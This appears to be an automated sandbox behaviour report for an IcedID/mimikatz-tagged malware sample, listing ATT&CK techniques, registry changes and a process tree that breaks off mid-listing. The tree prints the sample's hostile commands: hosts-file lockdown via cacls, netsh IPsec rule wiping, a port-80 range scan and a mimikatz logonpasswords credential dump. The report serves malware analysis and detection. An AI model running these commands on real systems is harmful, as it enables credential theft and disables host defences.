System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lmstittgt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zljshrqzb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4708	cmd.exe
1044	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000800000002347b-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023486-15.dat	nsis_installer_1
behavioral2/files/0x0007000000023486-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	cerjnki.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cerjnki.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	cerjnki.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	migibaipq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	cerjnki.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	cerjnki.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	cerjnki.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	migibaipq.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	cerjnki.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1044	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3996	schtasks.exe
1756	schtasks.exe
4620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	648	cerjnki.exe
Token: SeDebugPrivilege	2716	cerjnki.exe
Token: SeDebugPrivilege	3176	vfshost.exe
Token: SeDebugPrivilege	4496	migibaipq.exe
Token: SeLockMemoryPrivilege	3304	ittilk.exe
Token: SeLockMemoryPrivilege	3304	ittilk.exe
Token: SeDebugPrivilege	2064	migibaipq.exe
Token: SeDebugPrivilege	3664	migibaipq.exe
Token: SeDebugPrivilege	644	migibaipq.exe
Token: SeDebugPrivilege	3312	migibaipq.exe
Token: SeDebugPrivilege	1692	migibaipq.exe
Token: SeDebugPrivilege	4992	migibaipq.exe
Token: SeDebugPrivilege	4996	migibaipq.exe
Token: SeDebugPrivilege	4776	migibaipq.exe
Token: SeDebugPrivilege	760	migibaipq.exe
Token: SeDebugPrivilege	2412	migibaipq.exe
Token: SeDebugPrivilege	3180	migibaipq.exe
Token: SeDebugPrivilege	4528	migibaipq.exe
Token: SeDebugPrivilege	5100	migibaipq.exe
Token: SeDebugPrivilege	4992	migibaipq.exe
Token: SeDebugPrivilege	2536	migibaipq.exe
Token: SeDebugPrivilege	4020	migibaipq.exe
Token: SeDebugPrivilege	2292	migibaipq.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
648	cerjnki.exe
648	cerjnki.exe
2716	cerjnki.exe
2716	cerjnki.exe
3488	xohudmc.exe
3836	joxnkm.exe
4680	cerjnki.exe
4680	cerjnki.exe
4860	cerjnki.exe
4860	cerjnki.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4708	4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe	85
PID 4628 wrote to memory of 4708	4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe	85
PID 4628 wrote to memory of 4708	4628	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe	85
PID 4708 wrote to memory of 1044	4708	cmd.exe	87
PID 4708 wrote to memory of 1044	4708	cmd.exe	87
PID 4708 wrote to memory of 1044	4708	cmd.exe	87
PID 4708 wrote to memory of 648	4708	cmd.exe	95
PID 4708 wrote to memory of 648	4708	cmd.exe	95
PID 4708 wrote to memory of 648	4708	cmd.exe	95
PID 2716 wrote to memory of 3960	2716	cerjnki.exe	97
PID 2716 wrote to memory of 3960	2716	cerjnki.exe	97
PID 2716 wrote to memory of 3960	2716	cerjnki.exe	97
PID 3960 wrote to memory of 2256	3960	cmd.exe	99
PID 3960 wrote to memory of 2256	3960	cmd.exe	99
PID 3960 wrote to memory of 2256	3960	cmd.exe	99
PID 3960 wrote to memory of 2780	3960	cmd.exe	100
PID 3960 wrote to memory of 2780	3960	cmd.exe	100
PID 3960 wrote to memory of 2780	3960	cmd.exe	100
PID 3960 wrote to memory of 1492	3960	cmd.exe	101
PID 3960 wrote to memory of 1492	3960	cmd.exe	101
PID 3960 wrote to memory of 1492	3960	cmd.exe	101
PID 3960 wrote to memory of 3972	3960	cmd.exe	102
PID 3960 wrote to memory of 3972	3960	cmd.exe	102
PID 3960 wrote to memory of 3972	3960	cmd.exe	102
PID 3960 wrote to memory of 1784	3960	cmd.exe	103
PID 3960 wrote to memory of 1784	3960	cmd.exe	103
PID 3960 wrote to memory of 1784	3960	cmd.exe	103
PID 3960 wrote to memory of 3872	3960	cmd.exe	104
PID 3960 wrote to memory of 3872	3960	cmd.exe	104
PID 3960 wrote to memory of 3872	3960	cmd.exe	104
PID 2716 wrote to memory of 672	2716	cerjnki.exe	106
PID 2716 wrote to memory of 672	2716	cerjnki.exe	106
PID 2716 wrote to memory of 672	2716	cerjnki.exe	106
PID 2716 wrote to memory of 3964	2716	cerjnki.exe	108
PID 2716 wrote to memory of 3964	2716	cerjnki.exe	108
PID 2716 wrote to memory of 3964	2716	cerjnki.exe	108
PID 2716 wrote to memory of 840	2716	cerjnki.exe	110
PID 2716 wrote to memory of 840	2716	cerjnki.exe	110
PID 2716 wrote to memory of 840	2716	cerjnki.exe	110
PID 2716 wrote to memory of 3472	2716	cerjnki.exe	114
PID 2716 wrote to memory of 3472	2716	cerjnki.exe	114
PID 2716 wrote to memory of 3472	2716	cerjnki.exe	114
PID 3472 wrote to memory of 1312	3472	cmd.exe	116
PID 3472 wrote to memory of 1312	3472	cmd.exe	116
PID 3472 wrote to memory of 1312	3472	cmd.exe	116
PID 1312 wrote to memory of 1380	1312	wpcap.exe	117
PID 1312 wrote to memory of 1380	1312	wpcap.exe	117
PID 1312 wrote to memory of 1380	1312	wpcap.exe	117
PID 1380 wrote to memory of 3504	1380	net.exe	119
PID 1380 wrote to memory of 3504	1380	net.exe	119
PID 1380 wrote to memory of 3504	1380	net.exe	119
PID 1312 wrote to memory of 3596	1312	wpcap.exe	120
PID 1312 wrote to memory of 3596	1312	wpcap.exe	120
PID 1312 wrote to memory of 3596	1312	wpcap.exe	120
PID 3596 wrote to memory of 2580	3596	net.exe	122
PID 3596 wrote to memory of 2580	3596	net.exe	122
PID 3596 wrote to memory of 2580	3596	net.exe	122
PID 1312 wrote to memory of 3456	1312	wpcap.exe	123
PID 1312 wrote to memory of 3456	1312	wpcap.exe	123
PID 1312 wrote to memory of 3456	1312	wpcap.exe	123
PID 3456 wrote to memory of 1564	3456	net.exe	125
PID 3456 wrote to memory of 1564	3456	net.exe	125
PID 3456 wrote to memory of 1564	3456	net.exe	125
PID 1312 wrote to memory of 4680	1312	wpcap.exe	126

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2148
- C:\Windows\TEMP\znmrttiqf\ittilk.exe
  "C:\Windows\TEMP\znmrttiqf\ittilk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3304

C:\Users\Admin\AppData\Local\Temp\2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bitpvjte\cerjnki.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1044
- - C:\Windows\bitpvjte\cerjnki.exe
    C:\Windows\bitpvjte\cerjnki.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:648

C:\Windows\bitpvjte\cerjnki.exe
C:\Windows\bitpvjte\cerjnki.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2256
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1784
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3872
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:672
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe
    C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1380
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3504
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:2580
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1564
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4680
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1256
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:5048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3848
- - C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe
    C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iiliuscuk\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3140
- - C:\Windows\iiliuscuk\Corporate\vfshost.exe
    C:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
- C:\Windows\SysWOW64\cmd.exe
